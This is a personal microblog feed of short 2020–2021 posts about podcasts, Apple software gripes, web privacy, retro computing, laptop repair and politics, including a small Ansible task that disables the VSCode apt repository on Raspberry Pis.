«https://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.html»¹

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[1] https://piratehistorypodcast.com

╒═════╣▒ 06/25/2021 @13:07 ▒╟──────────┘

Oh, hello! I just got a new pin from a «podcast»¹ that I have been listening to since «2018»². Turns out it is a «Patreon»³ reward. How delightful. Go listen to The Pirate History Podcast!

[2] https://www.going-flying.com/blog/my-favorite-podcasts-2018-edition.html

[3] https://www.patreon.com/piratehistorypodcast

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╒═════╣▒ 06/24/2021 @23:49 ▒╟──────────┘

I get that this is a bit like being a crazy old man shouting at no one in particular, but I can't help but think that it beats being on Twitter by a hemisphere or so.

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[1] https://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/

╒═════╣▒ 06/22/2021 @23:11 ▒╟──────────┘

Let us remember that the filibuster wasn't even a thing in the US until ~20 years after the formation of the republic and was barely used in the first 180+ years it was in force.

«https://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/»¹

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[1] https://www.going-flying.com/~mernisse/screenshots/Games/Cyberpunk%202077/html/photomode_15062021_165445.html

╒═════╣▒ 06/15/2021 @20:39 ▒╟──────────┘

Say what you may about Cyberpunk 2077, but CDPR nailed the mood most of the time.

«"If you can't find a clocktower, the roof of your stolen SUV will do."»¹

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╒═════╣▒ 06/10/2021 @10:36 ▒╟──────────┘

Now I need to build something for this guy to lurk in. Good thing I don't have 200 projects in some form of 'in progress' or anything... Oh wait.

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[1] https://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/

╒═════╣▒ 06/08/2021 @10:02 ▒╟──────────┘

«https://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/»¹

But remember kids, the App Store isn't unfairly abusing Apple's market position, you can always buy a Google phone.

╒═════╣▒ 06/06/2021 @23:59 ▒╟──────────┘

Wondering why all your podcast episodes are out of order now? Don't worry, Apple has created a new fresh default you didn't know you needed and applied it to all your podcasts for you! Enjoy unchecking it for each. I sure did. As an aside, dear lazyweb, can someone make a better podcast app that isn't also trying to be an app store and a social network with a podcast app hung on the side? Thanks.

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╒═════╣▒ 06/04/2021 @09:45 ▒╟──────────┘

Two batteries - $181.75, Top clamshell with keyboard - $87.47, not having to upgrade to Big Sur - Priceless. As an aside, we'll see how the iFixit battery does. I only got a year and about 100 cycles off the last (albeit slightly sketchy eBay) replacement.

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╒═════╣▒ 06/03/2021 @22:18 ▒╟──────────┘

I should actually *finish* a project before I start like 4 more, right?

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[1] https://www.dieselsweeties.com/ics/1180/

May

╒═════╣▒ 05/26/2021 @15:43 ▒╟──────────┘

«Same»¹ fam. Hard same.

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[1] https://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.html

╒═════╣▒ 05/13/2021 @10:24 ▒╟──────────┘

People can be amazingly stupid. «https://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.html»¹

I am pretty certain that as someone in their 30s I can assert that we will not have driverless vehicles for the general public in my life time. People way overestimate the current technology and the problem space.

╒═════╣▒ 05/07/2021 @20:42 ▒╟──────────┘

Maybe the fact that I remember buying a lot of software like «this»¹ that makes me dislike App Stores and rental software so much.

[1] https://inessential.com/2021/05/07/what_it_was_like_to_sell_apps_online_in_2003

╒═════╣▒ 05/07/2021 @12:40 ▒╟──────────┘

In case you find yourself in need of the last version of UniFi Video... it looks like it is still on their server even if it isn't linked anywhere.

«https://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.deb»¹

[1] https://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.deb

╒═════╣▒ 05/04/2021 @12:48 ▒╟──────────┘

Second dose was even easier than the first!

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April

╒═════╣▒ 04/29/2021 @14:28 ▒╟──────────┘

I've been a tmux (previously screen) + stuff kind of person for a long time, mostly because of my rampant use of remote systems for everything. As a result I'm a heavy vi user. I fear I may be in trouble...

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╒═════╣▒ 04/28/2021 @23:35 ▒╟──────────┘

Oh nice, iOS 14.5 just completely destroyed the Podcasts app. Shows that I have listened to, several times over, on this phone, showing up with hundreds of unplayed episodes and lost my place. In case you were under the impression that the engineers even use their software, I think the reality is that they do not. Oh and as usual it is uglier and harder to navigate to the one thing it exists to do, you know, play podcasts...

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[1] https://en.wikipedia.org/wiki/Kill_file

╒═════╣▒ 04/17/2021 @10:17 ▒╟──────────┘

I have discovered the best way to browse YouTube, a custom curses app with a «killfile»¹.

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[1] https://www.eff.org/deeplinks/2021/04/am-i-floced-launch

╒═════╣▒ 04/16/2021 @19:31 ▒╟──────────┘

This «Federated Learning of Cohorts»¹ thing is such garbage for so many reasons but the short list is a) it is impossible to avoid because of a browser monopoly, b) it is impossible to avoid because of an analytics monopoly, c) it is impossible to avoid because of the advertising duopoly, and d) it not only invades the privacy of the user by default, but also of the website owner by default.

Burn it all down.

I already added interest-cohort=() to my Permissions-Policy header but I assume it won't matter because Google's gonna Google.

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╒═════╣▒ 04/13/2021 @19:30 ▒╟──────────┘

COVID-19 vaccine dose #1! Super easy process, friendly and professional people. No excuses.

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╒═════╣▒ 04/08/2021 @23:04 ▒╟──────────┘

Dear Apple, please let me disable this "feature" you amateurs put in this app.

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[1] https://www.jwz.org/blog/2021/04/signal-hops-on-the-dunning-krugerrand-bandwagon/

╒═════╣▒ 04/07/2021 @17:17 ▒╟──────────┘

Remember kids, if you aren't directly paying for something, it's almost certain that YOU are the product.

Not only is Signal a sketchy-as-fuck privacy-violating social network wearing "security" cosplay, now it also has a climate-incinerating Ponzi scheme bundled in.

...

Signal is no less a vertically-integrated, untrustworthy data silo than any product from Facebook or Google.

«via»¹

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[1] https://www.thebritishhistorypodcast.com/370-the-norman-conquest-of-1066/

╒═════╣▒ 04/01/2021 @21:42 ▒╟──────────┘

You can «hear»¹ the joy in Jamie's voice...

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[1] https://www.jwz.org/blog/2021/03/clown-computing/

╒═════╣▒ 04/01/2021 @15:42 ▒╟──────────┘

And once again my policy of not trusting «clown computing»¹ with the keys to anything I can't afford to lose has been vindicated: «Whistleblower: Ubiquiti Breach “Catastrophic”»²

[2] https://krebsonsecurity.com/2021/03/whistleblower-ubiquiti-breach-catastrophic/

╒═════╣▒ 04/01/2021 @10:07 ▒╟──────────┘

Of course Feature-Policy is now «renamed»¹ and good lord the list of things I need to turn off is «long»². I love that this is *all* on by default, really drives home that the feature of the web is actually hoovering user data and not actually delivering anything useful, or being secure.

[1] https://www.w3.org/TR/permissions-policy-1/#policy-controlled-feature

[2] https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md

March

╒═════╣▒ 03/26/2021 @12:50 ▒╟──────────┘

«This is me»¹, 90% of the time I'm watching Youtube videos, though... slightly louder.

[1] https://twitter.com/krisstraub/status/1375480239418003458

╒═════╣▒ 03/24/2021 @21:26 ▒╟──────────┘

I can't believe it took Mozilla *4 years* to support «native fullscreen on MacOS»¹. I can believe they locked it away behind a byzantine about:config setting though.

[1] https://bugzilla.mozilla.org/show_bug.cgi?id=1403085

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[1] https://www.youtube.com/watch?v=JlZe2JwrJqM

╒═════╣▒ 03/20/2021 @20:51 ▒╟──────────┘

«Stuff like this»¹ really helps demystify GUI programming for me — something I've never really spent the time to get my head around. There is so much handwaving and "oh that is handled by the framework" which I think is part of the unfortunate series of events that lead to dumpster fires like Electron.

tl;dr, go watch «Dave's Garage»²

[2] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw

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[1] https://www.going-flying.com/~mernisse/screenshots/Games/Cyberpunk%202077/html/photomode_19032021_174054_png.html

╒═════╣▒ 03/19/2021 @23:16 ▒╟──────────┘

I swear, I was only playing «Cyberpunk 2077»¹ this evening because I was testing this Grafana dashboard.

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[1] https://en.wikipedia.org/wiki/Usenet

╒═════╣▒ 03/05/2021 @21:23 ▒╟──────────┘

While catching up on comp.sys.raspberry-pi I noticed a bit of an uproar over Raspbian adding the VSCode package repository to the system. All my Raspberry Pis are headless appliances so a quick addition to my Ansible playbook made quick work of that.


- name: disable microsoft repository
  shell: if grep -q '^deb.*microsoft\.com'
    /etc/apt/sources.list.d/vscode.list; then
    sed -i '/^deb.*microsoft\.com/ s/^/# /'
    /etc/apt/sources.list.d/vscode.list;
    fi

If you don't use Ansible, this sed(1) command should do what you want.


sed -i '/^deb.*microsoft\.com/ s/^/# /' /etc/apt/sources.list.d/vscode.list

╒═════╣▒ 03/03/2021 @16:59 ▒╟──────────┘

Every few months when I go back to check up on the few «USENET»¹ groups that I still follow I can't help but shake my head at how much usability we threw away poorly porting^W "re-inventing" everything for profit^W the web. Entire generations growing up without proper threading or «killfiles»².

[2] https://en.wikipedia.org/wiki/Kill_file

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[1] https://t.co/Hhp62JW38s

╒═════╣▒ 03/01/2021 @16:27 ▒╟──────────┘

Double March. The date is now Monday, March 366th, 2020. Sorry, you don't get a new March until you've finished the last one. If you see anyone claiming that today is March 365th, congratulate them on fucking up their leap year math. perl -e 'use... «https://t.co/Hhp62JW38s»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «March 1, 2021»²

[2] https://twitter.com/jwz/status/1366436622535909379?ref_src=twsrc%5Etfw

February

╒═════╣▒ 02/22/2021 @14:35 ▒╟──────────┘

Why have we not shamed Bitcoin into irrelevance yet?

(via «jwz»¹)

[1] https://www.jwz.org/blog/2021/02/stop-adding-bitcoin-as-a-checkout-option-like-its-not-a-planet-killer/

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[1] https://twitter.com/NASAPersevere

╒═════╣▒ 02/18/2021 @15:59 ▒╟──────────┘

Congrats to the «@NASAPersevere»¹ team for their successful touchdown on the surface of Mars.

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[1] https://www.youtube.com/watch?v=uc3SzRiXTAY

╒═════╣▒ 02/12/2021 @10:24 ▒╟──────────┘

«Mood.»¹(«Image Credit)»²

[2] https://www.jpl.nasa.gov/news/pale-blue-dot-images-turn-25

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[1] https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

╒═════╣▒ 02/11/2021 @10:21 ▒╟──────────┘

«This»¹ is a pretty good look at some of the glaring trust problems with programming language package repositories. Personally, I don't use npm at all, and for Python I prefer to either stick to the standard library or use packages provided by my distribution. You can never audit all that code, so how can you trust it?

╒═════╣▒ 02/01/2021 @20:02 ▒╟──────────┘

What I find most amazing about «BBC Micro Bot»¹ is that is emulating a BBC Micro computer, with it's plucky little «6502»² processor... in JavaScript. Oh and it's running a dump of the original BASIC ROM in there to turn «code»³ in a a tweeter into video.

[1] https://www.bbcmicrobot.com

[2] https://en.wikipedia.org/wiki/MOS_Technology_6502

[3] https://bbcmic.ro/?load=1244318975695208448

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[1] https://twitter.com/AppleIIBot/status/1355958684367548417

╒═════╣▒ 02/01/2021 @11:15 ▒╟──────────┘

I am equally in a place of 'how is this a thing?!' and 'OF COURSE THIS IS A THING!'.

«https://twitter.com/AppleIIBot/status/1355958684367548417»¹

January

╒═════╣▒ 01/25/2021 @13:20 ▒╟──────────┘

Hello friends. As I said in the latest episode...Hero of Two Worlds has a cover! «pic.twitter.com/XVm9nAQfRg»¹— Mike Duncan (@mikeduncan) «January 25, 2021»²

Highly anticipated and now pre-ordered.

[1] https://t.co/XVm9nAQfRg

[2] https://twitter.com/mikeduncan/status/1353751555019833349?ref_src=twsrc%5Etfw

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[1] https://t.co/9pgOWtgHGz

╒═════╣▒ 01/18/2021 @20:30 ▒╟──────────┘

The Internet was a Mistake. TeenageStepdad: «https://t.co/9pgOWtgHGz»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «January 18, 2021»²

[2] https://twitter.com/jwz/status/1351273017431773186?ref_src=twsrc%5Etfw

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[1] https://macperformanceguide.com/autoTopic.html?dglyTP=Apple%20Core%20Rot

╒═════╣▒ 01/14/2021 @14:07 ▒╟──────────┘

I thought I ranted a lot about Apple's poor engineering direction lately... 😆 «This guy»¹ has me beat.

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[1] https://twitter.com/mikeduncan/status/1349461360611106816?ref_src=twsrc%5Etfw

╒═════╣▒ 01/13/2021 @20:11 ▒╟──────────┘

Ironically, staging an insurrectionary riot at the capitol has driven corporate money from politics. Vive la revolution?— Mike Duncan (@mikeduncan) «January 13, 2021»¹

╒═════╣▒ 01/13/2021 @15:10 ▒╟──────────┘

Ugh. Work laptop updated to Big Sur last night. Whoever did the UI design clearly thinks that iOS is the pinnacle of UX. The modal dialog boxes are a travesty, cranking up the padding on all the UI elements to fit the new border radius on everything is a huge waste of space, all the contrast is completely gone. I'm sure many users won't notice but I can't imagine long time Mac users thinking this is actually an improvement.

╒═════╣▒ 01/08/2021 @21:16 ▒╟──────────┘

I'm not usually into computer cases marketed towards gamers (my gaming PC is in as small a case as I could fit it in, which is my jam) but the «Fractal Design Node 804»¹ has been easy to work on so far and has a minimal number of silly gamer things (really just a window). I think it is silly it only has mounts for only 8 3½ inch hard drives. There is room for at least 12 in there.

[1] https://www.fractal-design.com/products/cases/node/node-804/black/

╒═════╣▒ 01/08/2021 @20:47 ▒╟──────────┘

Still no APU, but I have all the other bits for «na-tardis»¹ So I might as well do a test fit. So far so good!

[1] https://www.going-flying.com/network.html

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[1] https://bennie2.blob.core.windows.net/deploy/date.html

╒═════╣▒ 01/08/2021 @09:38 ▒╟──────────┘

Happy «March 313, 2020»¹, the good news is that there will be «no leap second»² added if we ever make it to June 2021.

[2] https://datacenter.iers.org/data/latestVersion/16_BULLETIN_C16.txt

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╒═════╣▒ 01/07/2021 @19:32 ▒╟──────────┘

Clamshell replaced and tested good in an hour 42. Not bad. Could have been faster if I didn't miss the backlight cable and bury the mic cable the first time I put the logic board in. No spare fasteners, which I take as a bad omen.

╒═════╣▒ 01/07/2021 @19:09 ▒╟──────────┘

Keys all work! Backlight troubleshooting time...

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╒═════╣▒ 01/07/2021 @18:35 ▒╟──────────┘

When we joke about technology being held together by bubble gum and string, we aren't quite as literal as Apple...

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╒═════╣▒ 01/07/2021 @18:24 ▒╟──────────┘

About half way through reassembly. Signs of life.

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╒═════╣▒ 01/07/2021 @18:18 ▒╟──────────┘

I love how easy it is to replace the "e" key on my obsessively engineered Apple product...

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[1] https://www.going-flying.com/network.html

╒═════╣▒ 01/06/2021 @22:00 ▒╟──────────┘

Just waiting for somone to restock of the Ryzen 3400G so I can finish the upgrade of «tardis»¹. I refuse to pay the scalpers.

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[1] https://www.youtube.com/watch?v=iUfq6sFnExY

╒═════╣▒ 01/03/2021 @02:03 ▒╟──────────┘

Man... I thought I had an infatuation with LEDs... «Friday Night Lites - Fly at Night»¹

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[1] https://www.apple.com/newsroom/2020/10/apple-reports-fourth-quarter-results/

╒═════╣▒ 01/01/2021 @01:37 ▒╟──────────┘

In spite of being «wildly profitable»¹ during the pandemic «Apple has received almost a billion dollars in welfare»²?! Yeah. It might be time to resurrect Madame la Guillotine.

[2] https://brokeassstuart.com/2020/12/30/which-companies-you-should-shoplift-from/

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[2] https://www.patreon.com/dnalounge/

╒═════╣▒ 01/01/2021 @01:30 ▒╟──────────┘

I have been a long time shadow member of «alt.fan.jwz»¹ and even though I live a continent away I am a proud supporter of the «DNA Lounge Patreon»². I think the «latest»³ from jwz on the DNA Lounge blog shows how worthy a cause this is, even if you never actually go there.

[1] https://www.jwz.org

[3] https://www.dnalounge.com/backstage/log/2020/12/31.html

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[1] https://www.youtube.com/watch?v=bjjxmNPnIOE

╒═════╣▒ 01/01/2021 @01:08 ▒╟──────────┘

The first car that I owned was a 1985 Mazda RX-7 GSL-SE with a 13B rotary engine. As such «this»¹ is 100% my jam.

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[1] https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/

2020

December

╒═════╣▒ 12/31/2020 @09:44 ▒╟──────────┘

This is a really amazing look into the construction of the «BioNTech/Pfizer SARS-CoV-2 mRNA vaccine»¹. It shows that in scientific endeavor almost nothing is done in a vacuum, and that decades of research in seemingly unrelated subjects can come together in a time of need to create miracles.

╒═════╣▒ 12/19/2020 @20:35 ▒╟──────────┘

Wait, the guy who wrote taskman.exe is on «YouTube»¹ telling stories and building things with «RGB LEDs»²? I know what I'm doing for the next several hours.

[1] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw

[2] https://www.youtube.com/watch?v=iX0YGp0poUQ

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[1] https://github.com/moby/moby/pull/41285

╒═════╣▒ 12/16/2020 @19:29 ▒╟──────────┘

I feel like I shouldn't have had to spend an hour searching for this «stupid change»¹ in Docker 20.10. I get that people reasonably think that it's a positive change for security (which people will likely promptly turn off) but either Debian or Docker (or both) dropped the ball because it broke every single one of my deployments and I had to go figure out why by searching. Nothing obvious in systemd's journal, nothing obvious in syslog, just cryptic ass OpenSSL errors. The documentation wasn't updated anywhere obvious, certainly not the daemon's help text (dockerd --help), or the manpage (dockerd(8)), or the «canonical release notes»². Setting --tlsverify=false even being a thing was something I had to infer from the PR. I guess 'not being able to use the API' counts as secure at least. 🙄

[2] https://docs.docker.com/engine/release-notes/

╒═════╣▒ 12/14/2020 @22:37 ▒╟──────────┘

«pic.twitter.com/gtoOm93PeM»¹— itsagundam (@GundamIsHere) «December 14, 2020»²

[1] https://t.co/gtoOm93PeM

[2] https://twitter.com/GundamIsHere/status/1338576194820845575?ref_src=twsrc%5Etfw

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[1] https://www.youtube.com/watch?v=MkKgdq57uOo

╒═════╣▒ 12/12/2020 @20:06 ▒╟──────────┘

A new «Clickspring»¹ post?! Christmas came early!

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[1] https://www.youtube.com/watch?v=lOL3ic8msas

╒═════╣▒ 12/12/2020 @19:29 ▒╟──────────┘

I'm going to need to build a handful of «these»¹ for all the power banks I have!

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[1] https://www.youtube.com/playlist?list=PLURsDaOr8hWX1T2WSXhPwL110La-GxjYY

╒═════╣▒ 12/12/2020 @19:26 ▒╟──────────┘

I don't care if you like cooking or not, you really must watch Alex's just-completed series on «sauces»¹. It may re-define what you think about sauce.

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╒═════╣▒ 12/09/2020 @16:03 ▒╟──────────┘

I mean... no shit? Water is wet and the sky is blue unless your state is on fire...

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[1] https://t.co/MOPQbjFlWr

╒═════╣▒ 12/09/2020 @15:53 ▒╟──────────┘

This is why I never used Chrome and don't ever login to my GMail account... Google continues to prove that its users are its products and I want none of that.

Two years ago, Google modified Chrome to automatically sign users in without their consent. But, we were told, this wouldn’t send your content to Google — that would still require users to press the “sync” button.Shocker: guess what’s happening now. «https://t.co/MOPQbjFlWr»¹— Matthew Green (@matthew_d_green) «December 9, 2020»²

«Previously...»³

[2] https://twitter.com/matthew_d_green/status/1336677175412527107?ref_src=twsrc%5Etfw

[3] https://blog.cryptographyengineering.com/2018/09/23/why-im-leaving-chrome/

November

╒═════╣▒ 11/29/2020 @22:36 ▒╟──────────┘

In case you still think that corporations ever think of humans as anything other than resources to be managed, note that trillion and billion dollar multi-nationals are nit picking over not supporting slavery, in 2020... «https://www.nytimes.com/2020/11/29/business/economy/nike-coca-cola-xinjiang-forced-labor-bill.html»¹

[1] https://www.nytimes.com/2020/11/29/business/economy/nike-coca-cola-xinjiang-forced-labor-bill.html

╒═════╣▒ 11/24/2020 @22:59 ▒╟──────────┘

That one is wise.

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[1] https://www.troyhunt.com/iot-unravelled-part-1-its-a-mess-but-then-theres-home-assistant/

╒═════╣▒ 11/23/2020 @22:25 ▒╟──────────┘

Oh look, someone else's «IoT build log»¹ turns out to be a perfect illustration to why I have no desire to have any of that garbage in my life. I'll leave debugging someone else's science project when I need to turn on a light after a power outage to other people.

╒═════╣▒ 11/23/2020 @15:00 ▒╟──────────┘

I rewrote some of the image processing pipeline for Thoughts today to simplify things a bit. Let me know if anything ends up looking... different, especially if you are using the RSS feed.

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[1] https://www.jwz.org/blog/2020/11/taiwan/

╒═════╣▒ 11/22/2020 @15:06 ▒╟──────────┘

It turns out that by listening to science and having a plan, we could have actually still had a good time this year. «https://www.jwz.org/blog/2020/11/taiwan/»¹

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[2] https://archive.org/details/softwarelibrary_flash?sort=titleSorter

╒═════╣▒ 11/22/2020 @14:55 ▒╟──────────┘

There are some absolute gems being restored to life in the «Internet Archive's»¹«flash software collection»². Wonderful old gems about «cows»³, «bases»⁴, «Badgers»⁵, «monkeys»⁶, «a horse»⁷ and so much more.

[1] https://archive.org/

[3] https://archive.org/details/cows_with_guns_202011

[4] https://archive.org/details/flash_allyourbase

[5] https://archive.org/details/flash_badger

[6] https://archive.org/details/dancemonkeys

[7] https://archive.org/details/466-horse-3

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[1] https://t.co/aYYtv2bWKx

╒═════╣▒ 11/21/2020 @16:40 ▒╟──────────┘

So, there's Google, trying to split the web again. Google will be knocking out an entire Browser ecosystem by making it you can't log into Google services without their special browser webkit.«https://t.co/aYYtv2bWKx»¹— Jason Scott (@textfiles) «November 21, 2020»²

It's almost like they are acting like a monopoly... weird.

[2] https://twitter.com/textfiles/status/1330150314406780928?ref_src=twsrc%5Etfw

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[1] https://www.youtube.com/watch?v=ScyxcrEOjJo

╒═════╣▒ 11/21/2020 @12:51 ▒╟──────────┘

On what planet «can you buy only part of a contract»¹? *“I'll take the bits where I get to use your work but you can keep the parts that say I have to pay you.”* Yeah, I'm sure that is how contracts work.

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[1] https://www.youtube.com/watch?v=VQv5_9TpRF0

╒═════╣▒ 11/21/2020 @12:10 ▒╟──────────┘

Is there anything quite as hilariously tone-deaf as «billionaires having a slap fight»¹?

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[1] https://t.co/zxf4XQqMFN

╒═════╣▒ 11/20/2020 @15:58 ▒╟──────────┘

People are uploading true classic flashes thought otherwise lost. Here's a personal favorite: FLY GUY by Trevor Van Meter. «https://t.co/zxf4XQqMFN»¹Right-click on it, set it to full-screen, and press arrow keys around. It's amazing. «pic.twitter.com/lc6K8zVsoA»²— Jason Scott (@textfiles) «November 20, 2020»³

[2] https://t.co/lc6K8zVsoA

[3] https://twitter.com/textfiles/status/1329839581689245696?ref_src=twsrc%5Etfw

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[1] https://www.going-flying.com/thoughts/1600295997.html

╒═════╣▒ 11/17/2020 @12:07 ▒╟──────────┘

Oh, remember all those times I bitched about «Home Control turning itself back on after reboot»¹? Now Siri is doing it for the Podcasts app. I am not sure why the Siri options are even available as the profile I have forbids Siri, but it isn't like Apple has cared about software quality for the last decade so I suppose I should be happy the thing works at all.

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[1] https://twitter.com/mattblaze/status/1034486679925678080?lang=en

╒═════╣▒ 11/17/2020 @11:54 ▒╟──────────┘

Almost everything these days that says *BLOCKCHAIN!* on it anywhere is a sham to try to extract money from venture capitalists and angel investors. Anyone who tells you otherwise is at best wrong and at worst profiting from it. I usually just point at «Matt Blaze»¹ when conversation turns to electronic voting but now you can also point at «Bruce Schneier»² who has a link to the obligatory «XKCD»³ and a new MIT paper on the topic. tl;dr though, software is *awful* and doesn't actually address any of the problems we have with voting. How about we «fix the Post Office»⁴ instead? #PostalBankingTooPlease

[2] https://www.schneier.com/blog/archives/2020/11/on-blockchain-voting.html

[3] https://xkcd.com/2030/

[4] https://www.youtube.com/watch?v=IoL8g0W9gAQ

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[1] https://t.co/a1Snfpm03h

╒═════╣▒ 11/16/2020 @16:55 ▒╟──────────┘

Rapid antigen tests trade sensitivity for speed. They return a result in <30 minutes, but can only detect COVID-19 when you're absolutely riddled with it. What's bogus is that Space Karen didn't read up on the test before complaining to his millions of followers. «pic.twitter.com/a1Snfpm03h»¹— Emma Bell PhD (@emmabell42) «November 14, 2020»²

Welp, there goes thinking of «@elonmusk»³ as anything other than Space Karen ever again.😂

[2] https://twitter.com/emmabell42/status/1327586649765769218?ref_src=twsrc%5Etfw

[3] https://twitter.com/elonmusk

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[1] https://www.mcsweeneys.net/articles/why-isnt-dread-lord-nyarlathotep-respecting-our-time-honored-peaceful-transition-of-power

╒═════╣▒ 11/16/2020 @10:13 ▒╟──────────┘

«Why Isn’t Dread Lord Nyarlathotep Respecting Our Time-Honored Peaceful Transition of Power?»¹

╒═════╣▒ 11/14/2020 @00:44 ▒╟──────────┘

To be clear, I'm not opposed to a shut down for health purposes.What I oppose is our leaders, and their corporate funders, demanding that working people shoulder the burden of the shutdown while Jeff Bezos, landlords etc get richer.This is medieval.— The British History Podcast (@BritishPodcast) «November 13, 2020»¹

[1] https://twitter.com/BritishPodcast/status/1327362937611173888?ref_src=twsrc%5Etfw

╒═════╣▒ 11/13/2020 @17:30 ▒╟──────────┘

It was super charming to watch Z and his dad «rock the W in CoD»¹.

[1] https://www.youtube.com/watch?v=MbjoDtHMGmQ

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[1] https://t.co/e32JlzER5n

╒═════╣▒ 11/13/2020 @09:34 ▒╟──────────┘

I'm up, so I may as well post Friday's super controversial strip. «pic.twitter.com/e32JlzER5n»¹— Gabe (@cwgabriel) «November 13, 2020»²

They are both right. The present day shit in AC has always been the worst part of the game and nuts in brownies are *correct*.

[2] https://twitter.com/cwgabriel/status/1327169856710475782?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/12/2020 @20:54 ▒╟──────────┘

Clearly a release that necessitates a minor version bump... so many emojis.

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[1] https://www.jwz.org/blog/2020/11/ticketbastard-wants-your-medical-records/

╒═════╣▒ 11/11/2020 @16:27 ▒╟──────────┘

Speaking of another monopoly that should be put head first into a wood chipper... «Ticketmaster is the worst»¹ (via jwz).

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╒═════╣▒ 11/11/2020 @13:59 ▒╟──────────┘

In today's episode of crap frontend developers think is totally fine: 20,000+ lines of <style> in <head>.

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[1] https://www.law.cornell.edu/uscode/text/47/230

╒═════╣▒ 11/10/2020 @14:06 ▒╟──────────┘

I'm sick of these awful «§ 230»¹ takes and all of the big tech censorship claims. I'm sorry but YouTube and Twitter are the digital equivalent of private property and the «First Amendment»² (US Const. ammed. I) doesn't have anything to say on what someone else's website can and cannot do with information you submit, however; it is likely that the confusion is the result of most of the tech giants being monopolies. Instead of worrying about imposing legislation that creates moderation standards, how about we fix the root cause instead. eg: U.S. v. AT&T («552 F. Supp. 131 (D. D.C. 1982)»³).

[2] https://www.law.cornell.edu/constitution/first_amendment

[3] https://en.wikipedia.org/wiki/United_States_v._AT%26T

╒═════╣▒ 11/10/2020 @09:51 ▒╟──────────┘

How you know your front-end developers are pros... 🙄

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[1] https://m.youtube.com/watch?v=fqmzxw0t6Ok

╒═════╣▒ 11/09/2020 @21:31 ▒╟──────────┘

Leonard French has a really well reasoned look «at fair use and live streaming»¹ that is well worth the watch if you are at all interested. There is a *LOT* of confusion around fair use in the context of copyright and he does a really good job on his channel going through it. Bonus quick look at BGM in streams at the end.

╒═════╣▒ 11/08/2020 @10:17 ▒╟──────────┘

Technical debt as a lack of understanding*

An apostate «advocates»¹ understanding the software you work on and the reasons for its design. Hackernews spends the afternoon trying to come up with a complicated metaphor to explain this concept to people who are not software engineers, which is a tremendous waste of time, *because people who are not software engineers would take it for granted that you need to understand the things you work on for a living.*

(«via»²)

[1] https://daverupert.com/2020/11/technical-debt-as-a-lack-of-understanding/

[2] http://n-gate.com/hackernews/2020/11/07/0/

╒═════╣▒ 11/07/2020 @22:46 ▒╟──────────┘

One down. One to go. «pic.twitter.com/eQYi1pBqku»¹— Sacha Baron Cohen (@SachaBaronCohen) «November 7, 2020»²

[1] https://t.co/eQYi1pBqku

[2] https://twitter.com/SachaBaronCohen/status/1325223702506696704?ref_src=twsrc%5Etfw

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[1] https://www.dnalounge.com/backstage/log/2020/11/06.html

╒═════╣▒ 11/06/2020 @20:27 ▒╟──────────┘

Why can't we have nice things and just be responsible adults? «https://www.dnalounge.com/backstage/log/2020/11/06.html»¹

╒═════╣▒ 11/05/2020 @14:05 ▒╟──────────┘

I suspect I have a series of blog posts to write...

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[1] https://www.nytimes.com/2020/11/04/technology/california-uber-lyft-prop-22.html

╒═════╣▒ 11/04/2020 @07:58 ▒╟──────────┘

Looks like spending $200 million «bought»¹ the tech sector more time to create a whole class of 21st century serfs. How wonrerful.

October

╒═════╣▒ 10/27/2020 @14:43 ▒╟──────────┘

Same.

Ok so... after decades of thinking “what’s your favorite animal?” is a fucking weird ass question (because it is), I have finally decided upon... raccoons. I just.. I understand them now. They’re just hanging out. They got tiny hands and they want your trash. I fuckin get it.— April O'Neil (@undeux) «October 26, 2020»¹

[1] https://twitter.com/undeux/status/1320646100722696194?ref_src=twsrc%5Etfw

╒═════╣▒ 10/23/2020 @09:33 ▒╟──────────┘

"I must not fear.

Fear is the mind-killer.

Fear is the little-death that brings total obliteration.

I will face my fear.

I will permit it to pass over me and through me.

And when it has gone past I will turn the inner eye to see its path.

Where the fear has gone there will be nothing. Only I will «remain»¹ ."

[1] https://www.instagram.com/p/CGqdFoenpbR/

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[1] https://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/

╒═════╣▒ 10/22/2020 @13:02 ▒╟──────────┘

My iPhone 7 and I agree. «https://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/»¹ ლ(ಠ益ಠლ)

╒═════╣▒ 10/21/2020 @14:50 ▒╟──────────┘

Feels good. Remind me why we don't allow vote by mail here every year?

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[1] https://www.jwz.org/blog/2020/10/ill-take-problems-we-solved-correctly-in-the-80s-for-100-alex/

╒═════╣▒ 10/19/2020 @19:05 ▒╟──────────┘

Social media would be so much better if it had a «killfile»¹, or threads, or basically any feature invented 40 years ago, or respect for real live human beings.

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[1] https://www.apple.com/iphone-12/specs/

╒═════╣▒ 10/13/2020 @16:38 ▒╟──────────┘

You had one job with the «iPhone 12»¹, Apple. That job was USB-C. Welp.

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[1] https://www.youtube.com/watch?v=BnV98v7IQns

╒═════╣▒ 10/13/2020 @15:57 ▒╟──────────┘

«20 minutes of artisanal Nixie Tube production»¹ (via: «jwz»²)

[2] https://www.jwz.org/blog/2020/09/20-minutes-of-extremely-soothing-artisanal-nixie-tube-production/

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[1] https://blog.mozilla.org/firefox/join-the-anti-establishment/

╒═════╣▒ 10/13/2020 @10:05 ▒╟──────────┘

